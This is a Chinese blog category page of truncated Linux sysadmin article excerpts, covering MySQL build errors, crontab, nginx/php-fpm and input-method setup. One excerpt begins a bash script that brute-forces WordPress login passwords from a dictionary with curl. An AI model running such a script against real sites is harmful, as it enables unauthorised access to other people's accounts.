友情提示:小程序,开发制作。

类别《linux》下的文章:

no fond myslq.h and libmysqlclient

解决/usr/bin/ld: cannot find -lmysqlclient错误

类似/usr/bin/ld: cannot find -xxxx的错误有很多, 首先我们可以最简单的判断一下:这类情况一般是由于缺乏某某库文件, 又或者可能是由于已存在的库问题版本不对造成的一般都是解决的办法就是安装缺乏的devel包就可以解决, 当然还有其他的未知因素, 我们看一个实例:

我在一台装centos5.2 x86_64的系统上配置php环境, 提示这个错误

"/usr/bin/ld: cannot find -lmysqlclient"

于是我安装了

#  yum -y install mysql-devel

结果提示依旧, 我根据提示查看con...

阅读全文>>

w命令的问题

今天用xshell登录管理我的机器是。想看看都谁在服务器上于是乎输入#w。靠居然出错。

#w

#70 colunn windows is too narrow

#

点击查看原图

字面的大概意思是窗口太窄,于是乎,最大化窗口ok。

点击查看原图

迎刃而解。

阅读全文>>

Linux学习web服务(源码安装)--LAMMP架构详解

本篇博文笔者试图通过自己的亲身实践来向大家讲解中小企业网基于LAMMP架构的实现。本片博文主要设计的知识体系如下,由笔者全部在RHEL6.4环境下进行搭建和实现。

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

一、试验环境和软件版本

二、httpd-2.4.6的源码安装

三、如何使用通用二机制包安装mysql

四、编译安装php,实现与apache服务器的分离

五、源码编译memcached

六、源码安装PHP扩展程序memcache

七、安装PHP加速器xcache

八、简单测试网页的编写

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++...

阅读全文>>

rpm安装mysql5.6.12遇到密码的问题

wget mysql.5.6.12.rpm 

rpm -ivh mysql.5.6.12.rpm

步骤都很常规。中间缺少什么库就安装什么库。安装完成之后发现,使用空密码无法登陆。

使用以前的改密码的方法都没有成功。

其中有

1.

[root@loaclhost] /usr/bin/mysqld_safe --usr=mysql --skip-grant-tables --skip-networking&
开启第二个终端

[root@loaclhost] /usr/bin/mysql -u root mysql 

2.

使用mysqladmin。输入  

mysqladmin -u root -p oldpassword newpasswd

&nbs...

阅读全文>>

centos6X 安装中文输入法

1.用root登录 ,或su root
2.yum install "@Chinese Support"
3.exit
4.回到桌面,system->preferences->input method
5.如果没有,先注销一下。
6.到里面add输入法到列表里。

7.最后再注销、登录。

======================================================== 

# yum install "@Hindi Support"

# yum install "@Chinese Support"

OR

# yum groupinstall “Chinese Support”

这是CentOS 5的,应当适用于CentOS 6

阅读全文>>

linux定时任务的cromtab设置

为当前用户创建cron服务

1.  键入 crontab  -e 编辑crontab服务文件

      例如 文件内容如下:

     */2 * * * * /bin/sh /home/admin/jiaoben/buy/deleteFile.sh 

     保存文件并并退出

     */2 * * * * /bin/sh /home/admin/jiaoben/buy/deleteFile.sh

    */2 * * * ...

阅读全文>>

nginx File not found 错误

使用php-fpm解析PHP,"No input file specified","File not found"是令nginx新手头疼的常见错误,原因是php-fpm进程找不到SCRIPT_FILENAME配置的要执行的.php文件,php-fpm返回给nginx的默认404错误提示。
 
比如我的网站doucument_root下没有test.php,访问这个文件时通过抓包可以看到返回的内容。
 
HTTP/1.1 404 Not Found
Date: Fri, 21 Dec 2012 08:15:28 GMT
Content-Type: text/html
Proxy-Connection: close
Server: nginx/1.2...

阅读全文>>

FATAL ERROR: Could not find ./bin/my_print_defaults 解决方法

网上很多方法都是:/usr/local/mysql/scripts/mysql_install_db --user=mysql
但是很有可能报错,找不到bin目录中的my_print_defaults
错误信息: 
FATALERROR:Couldnotfind./bin/my_print_defaults
If you are using a binary release, you must run this script from
within the directory the archive extracted into. If you compiled
MySQL yourself you must run 'make install' firs...

阅读全文>>

WordPress后台密码暴力破解脚本

WordPress后台密码暴力破解程序,请先确认机器已安装curl

 

#!/bin/bash
#by leo108
#使用方式:./wp-pwd.sh 用户名 字典 登录页面 线程数
#例如: ./wp-pwd.sh leo 1.txt http://xxx.com/wp-login.php 15
user=$1
zidian=$2
url=$3
thread=$4
function guess {
    curl -s -d "log=$user&pwd=$1" $url >> $1.html
    l=$(wc -l $1.html| awk -F[:" "]+ '{print $1}')
...

阅读全文>>

源码安装php , ./configure无法通过:报错Note that the MySQL client library is not bundled anymore!

mysql安装地址

 [root@localhost php-5.4.14]# whereis mysql mysql: /usr/bin/mysql /usr/lib/mysql /usr/include/mysql /usr/share/mysql /usr/share/man/man1/mysql.1.gz

 

 找不到mysql的安装路径的话可以。尝试一下方案。

 

可以试试  mysqlnd     php5.4貌似是支持的


 ./configure --with-mysql=mysqlnd --with-mysqli=mysqlnd --with-pdo-mysql=mysq...

阅读全文>>